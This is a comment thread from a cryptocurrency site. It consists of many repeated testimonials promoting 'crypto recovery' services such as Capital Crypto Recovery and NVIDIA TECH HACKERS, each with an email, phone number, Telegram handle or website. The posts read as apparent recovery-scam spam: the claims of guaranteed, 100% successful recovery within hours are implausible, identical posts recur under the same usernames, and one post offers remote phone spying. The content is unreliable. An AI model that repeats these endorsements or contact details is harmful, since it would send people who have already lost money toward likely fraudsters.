    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 20:17 tyleradams

    As time passes, there are an increasing number of frauds involving Bitcoin and other cryptocurrencies. Although there are many individuals who advertise recovering money online, people should use caution in dealing, especially when money is involved. You can trust NVIDIA TECH HACKERS [[email protected]], I promise. They are the top internet recovery company, and as their names indicate, your money is reclaimed as soon as feasible. My bitcoin was successfully retrieved in large part thanks to NVIDIA TECH HACKERS. Ensure that you get top-notch service; NVIDIA TECH HACKERS provides evidence of its work; and payment is only made when the service has been completed to your satisfaction. Reach them via email: [email protected] on google mail

  • 17.10.25 20:20 lindseyvonn

    Have you gotten yourself involved in a cryptocurrency scam or any scam at all? If yes, know that you are not alone, there are a lot of people in this same situation. I'm a Health Worker and was a victim of a cryptocurrency scam that cost me a lot of money. This happened a few weeks ago, there’s only one solution which is to talk to the right people, if you don’t do this you will end up being really depressed. I was really devastated until went on LinkedIn one evening after my work hours and i saw lots of reviews popped up on my feed about [email protected], I sent an email to the team who came highly recommended - [email protected] I started seeing some hope for myself from the moment I sent them an email. The good part is they made the entire process stress free for me, i literally sat and waited for them to finish and I received what I lost in my wallet

  • 17.10.25 20:22 richardcharles

    I would recommend NVIDIA TECH HACKERS to anyone that needs this service. I decided to get into crypto investment and I ended up getting my crypto lost to an investor late last year. The guy who was supposed to be managing my account turned out to be a scammer all along. I invested 56,000 USD and at first, my reading and profit margins were looking good. I started getting worried when I couldn’t make withdrawals and realized that I’ve been scammed. I came across some of the testimonials that people said about NVIDIA TECH HACKERS and how helpful he has been in recovering their funds. I immediately contacted him in his mail at [email protected] so I can get his assistance. One week into the recovery process the funds were traced and recovered back from the scammer. I can't appreciate him enough for his professionalism.

  • 17.10.25 20:23 stevekalfman

    If you need a hacker for scam crypto recovery or mobile spy access remotely kindly reach out to [email protected] for quick response, I hired this hacker and he did a nice job. before NVIDIA TECH HACKERS, I met with different hacker's online which turns out to be scam, this NVIDIA TECH HACKERS case was different and he is the trusted hacker I can vote and refer.

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 17.10.25 21:42 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon